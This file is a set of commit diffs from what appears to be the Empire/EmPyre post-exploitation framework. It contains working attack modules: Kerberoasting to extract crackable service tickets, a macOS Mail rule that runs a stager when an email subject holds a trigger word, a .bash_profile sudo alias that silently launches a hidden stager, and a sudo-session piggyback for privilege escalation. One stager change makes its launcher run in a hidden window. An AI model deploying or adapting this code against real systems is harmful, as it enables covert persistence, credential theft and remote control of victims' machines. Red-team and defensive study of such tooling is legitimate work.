'Name': 'Invoke-Kerberoast',
'Author': ['@harmj0y', '@machosec'],
'Description': ('Requests kerberos tickets for all users with a non-null service principal name (SPN) and extracts them into a format ready for John or Hashcat.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/',
'https://gist.github.com/HarmJ0y/53a837fce877e32e18d78acbb08c8fe9'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Identity' : {
'Description' : 'Specific SamAccountName, DistinguishedName, SID, or GUID to kerberoast.',
'Required' : False,
'Value' : ''
},
'AdminCount' : {
'Description' : 'Kerberoast privileged accounts protected by AdminSDHolder.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'Specifies the domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'LDAPFilter' : {
'Description' : 'Specifies an LDAP query string that is used to filter Active Directory objects.',
'Required' : False,
'Value' : ''
},
'SearchBase' : {
'Description' : 'The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local".',
'Required' : False,
'Value' : ''
},
'Server' : {
'Description' : 'Specifies an Active Directory server (domain controller) to bind to.',
'Required' : False,
'Value' : ''
},
'SearchScope' : {
'Description' : 'Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).',
'Required' : False,
'Value' : ''
},
'OutputFormat' : {
'Description' : "Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.",
'Required' : False,
'Value' : 'John'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info['Name']
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Kerberoast.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += "\nInvoke-Kerberoast "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += '| fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -84,7 +84,7 @@ class Module:
script = moduleCode
# generate the launcher code without base64 encoding
l = self.mainMenu.stagers.stagers['launcher']
l = self.mainMenu.stagers.stagers['multi/launcher']
l.options['Listener']['Value'] = self.options['Listener']['Value']
l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
l.options['Proxy']['Value'] = self.options['Proxy']['Value']

View File

@ -49,12 +49,12 @@ class Module:
},
'Password' : {
'Description' : 'Password to test.',
'Required' : False,
'Required' : True,
'Value' : ''
},
'UserName' : {
'Description' : '[domain\]username to test.',
'Required' : False,
'Required' : True,
'Value' : ''
},
'NoPing' : {

View File

@ -9,7 +9,7 @@ class Module:
'Author': ['@harmj0y'],
'Description': ("Displays a specified message to the a user."),
'Description': ("Displays a specified message to the user."),
'Background' : True,

View File

@ -0,0 +1,232 @@
from time import time
from random import choice
from string import ascii_uppercase
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Mail',
# list of one or more authors for the module
'Author': ['@n00py'],
# more verbose multi-line description of the module
'Description': ('Installs a mail rule that will execute an AppleScript stager when a trigger word is present in the Subject of an incoming mail.'),
# True if the module needs to run in the background
'Background' : False,
# File extension to save the file as
'OutputExtension' : None,
# if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,
# the module language
'Language': 'python',
# the minimum language version needed
'MinLanguageVersion': '2.6',
# list of any references/other comments
'Comments': ['https://github.com/n00py/MailPersist']
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to execute module on.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'SafeChecks': {
'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
'Required': True,
'Value': 'True'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'RuleName' : {
'Description' : 'Name of the Rule.',
'Required' : True,
'Value' : 'Spam Filter'
},
'Trigger' : {
'Description' : 'The trigger word.',
'Required' : True,
'Value' : ''
}
}
#
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
ruleName = self.options['RuleName']['Value']
trigger = self.options['Trigger']['Value']
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
safeChecks = self.options['SafeChecks']['Value']
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
launcher = launcher.replace('"', '\\"')
launcher = launcher.replace('"', '\\"')
launcher = "do shell script \"%s\"" % (launcher)
hex = '0123456789ABCDEF'
def UUID():
return ''.join([choice(hex) for x in range(8)]) + "-" + ''.join(
[choice(hex) for x in range(4)]) + "-" + ''.join([choice(hex) for x in range(4)]) + "-" + ''.join(
[choice(hex) for x in range(4)]) + "-" + ''.join([choice(hex) for x in range(12)])
CriterionUniqueId = UUID()
RuleId = UUID()
TimeStamp = str(int(time()))[0:9]
SyncedRules = "/tmp/" + ''.join(choice(ascii_uppercase) for i in range(12))
RulesActiveState = "/tmp/" + ''.join(choice(ascii_uppercase) for i in range(12))
AppleScript = ''.join(choice(ascii_uppercase) for i in range(12)) + ".scpt"
plist = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
<dict>
<key>AllCriteriaMustBeSatisfied</key>
<string>NO</string>
<key>AppleScript</key>
<string>''' + AppleScript + '''</string>
<key>AutoResponseType</key>
<integer>0</integer>
<key>Criteria</key>
<array>
<dict>
<key>CriterionUniqueId</key>
<string>''' + CriterionUniqueId + '''</string>
<key>Expression</key>
<string>''' + str(trigger) + '''</string>
<key>Header</key>
<string>Subject</string>
</dict>
</array>
<key>Deletes</key>
<string>YES</string>
<key>HighlightTextUsingColor</key>
<string>NO</string>
<key>MarkFlagged</key>
<string>NO</string>
<key>MarkRead</key>
<string>NO</string>
<key>NotifyUser</key>
<string>NO</string>
<key>RuleId</key>
<string>''' + RuleId + '''</string>
<key>RuleName</key>
<string>''' + str(ruleName) + '''</string>
<key>SendNotification</key>
<string>NO</string>
<key>ShouldCopyMessage</key>
<string>NO</string>
<key>ShouldTransferMessage</key>
<string>NO</string>
<key>TimeStamp</key>
<integer>''' + TimeStamp + '''</integer>
<key>Version</key>
<integer>1</integer>
</dict>
</array>
</plist>'''
plist2 = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>''' + RuleId + '''</key>
<true/>
</dict>
</plist>
'''
script = """
import os
home = os.getenv("HOME")
AppleScript = '%s'
SyncedRules = '%s'
RulesActiveState = '%s'
plist = \"\"\"%s\"\"\"
plist2 = \"\"\"%s\"\"\"
payload = \'\'\'%s\'\'\'
payload = payload.replace('&\"', '& ')
payload += "kill `ps -ax | grep ScriptMonitor |grep -v grep | awk \'{print $1}\'`"
payload += '\"'
script = home + "/Library/Application Scripts/com.apple.mail/" + AppleScript
os.system("touch " + SyncedRules)
with open(SyncedRules, 'w+') as f:
f.write(plist)
f.close()
os.system("touch " + RulesActiveState)
with open(RulesActiveState, 'w+') as f:
f.write(plist2)
f.close()
with open(script, 'w+') as f:
f.write(payload)
f.close()
with open("/System/Library/CoreServices/SystemVersion.plist", 'r') as a:
v = a.read()
version = "V1"
if "10.7" in v:
version = "V2"
if "10.7" in v:
version = "V2"
if "10.8" in v:
version = "V2"
if "10.9" in v:
version = "V2"
if "10.10" in v:
version = "V2"
if "10.11" in v:
version = "V3"
if "10.12" in v:
version = "V4"
a.close()
if os.path.isfile(home + "/Library/Mobile Documents/com~apple~mail/Data/" + version + "/MailData/ubiquitous_SyncedRules.plist"):
print "Trying to write to Mobile"
os.system("/usr/libexec/PlistBuddy -c 'Merge " + SyncedRules + "' " + home + "/Library/Mobile\ Documents/com~apple~mail/Data/" + version + "/MailData/ubiquitous_SyncedRules.plist")
else:
os.system("/usr/libexec/PlistBuddy -c 'Merge " + SyncedRules + "' " + home + "/Library/Mail/" + version + "/MailData/SyncedRules.plist")
print "Writing to main rules"
os.system("/usr/libexec/PlistBuddy -c 'Merge " + RulesActiveState + "' "+ home + "/Library/Mail/" + version + "/MailData/RulesActiveState.plist")
os.system("rm " + SyncedRules)
os.system("rm " + RulesActiveState)
""" % (AppleScript, SyncedRules, RulesActiveState, plist, plist2, launcher)
return script

View File

@ -0,0 +1,107 @@
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'bashdoor',
# list of one or more authors for the module
'Author': ['@n00py'],
# more verbose multi-line description of the module
'Description': 'Creates an alias in the .bash_profile to cause the sudo command to execute a stager and pass through the origional command back to sudo',
# True if the module needs to run in the background
'Background' : False,
# File extension to save the file as
'OutputExtension' : "",
# if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': []
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to execute module on.',
'Required' : True,
'Value' : ''
},
'SafeChecks': {
'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
'Required': True,
'Value': 'True'
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
safeChecks = self.options['SafeChecks']['Value']
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', encode=True, userAgent=userAgent, safeChecks=safeChecks)
launcher = launcher.replace('"', '\\"')
script = '''
import os
from random import choice
from string import ascii_uppercase
home = os.getenv("HOME")
randomStr = ''.join(choice(ascii_uppercase) for i in range(12))
bashlocation = home + "/Library/." + randomStr + ".sh"
with open(home + "/.bash_profile", "a") as profile:
profile.write("alias sudo='sudo sh -c '\\\\''" + bashlocation + " & exec \\"$@\\"'\\\\'' sh'")
launcher = "%s"
stager = "#!/bin/bash\\n"
stager += launcher
with open(bashlocation, 'w') as f:
f.write(stager)
f.close()
os.chmod(bashlocation, 0755)
''' % (launcher)
return script

View File

@ -0,0 +1,118 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'SudoPiggyback',
# list of one or more authors for the module
'Author': ['@n00py'],
# more verbose multi-line description of the module
'Description': ('Spawns a new EmPyre agent using an existing sudo session. This works up until El Capitan.'),
# True if the module needs to run in the background
'Background' : False,
# File extension to save the file as
'OutputExtension' : "",
# if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,
# the module language
'Language': 'python',
# the minimum language version needed
'MinLanguageVersion': '2.6',
# list of any references/other comments
'Comments': ['Inspired by OS X Incident Response by Jason Bradley']
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to execute module on.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'SafeChecks': {
'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
'Required': True,
'Value': 'True'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
safeChecks = self.options['SafeChecks']['Value']
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
launcher = launcher.replace("'", "\\'")
launcher = launcher.replace('echo', '')
parts = launcher.split("|")
launcher = "sudo python -c %s" % (parts[0])
script = """
import os
import time
import subprocess
sudoDir = "/var/db/sudo"
subprocess.call(['sudo -K'], shell=True)
oldTime = time.ctime(os.path.getmtime(sudoDir))
exitLoop=False
while exitLoop is False:
newTime = time.ctime(os.path.getmtime(sudoDir))
if oldTime != newTime:
try:
subprocess.call(['%s'], shell=True)
exitLoop = True
except:
pass
""" % (launcher)
return script

View File

@ -105,7 +105,7 @@ class Stager:
code += " >\n"
code += " <script language=\"JScript\">\n"
code += " <![CDATA[\n"
code += " var r = new ActiveXObject(\"WScript.Shell\").Run(\"" + launcher + "\");\n"
code += " var r = new ActiveXObject(\"WScript.Shell\").Run(\"" + launcher + "\",0);\n"
code += " ]]>\n"
code += " </script>\n"
code += "</registration>\n"

View File

@ -23,6 +23,7 @@ if lsb_release -d | grep -q "Fedora"; then
pip install flask
pip install macholib
pip install dropbox
pip install pyopenssl
elif lsb_release -d | grep -q "Kali"; then
Release=Kali
apt-get install -y python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
@ -33,6 +34,7 @@ elif lsb_release -d | grep -q "Kali"; then
pip install flask
pip install macholib
pip install dropbox
pip install pyopenssl
elif lsb_release -d | grep -q "Ubuntu"; then
Release=Ubuntu
apt-get install -y python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
@ -44,6 +46,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
pip install pyOpenSSL
pip install macholib
pip install dropbox
pip install pyopenssl
else
echo "Unknown distro - Debian/Ubuntu Fallback"
apt-get install -y python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev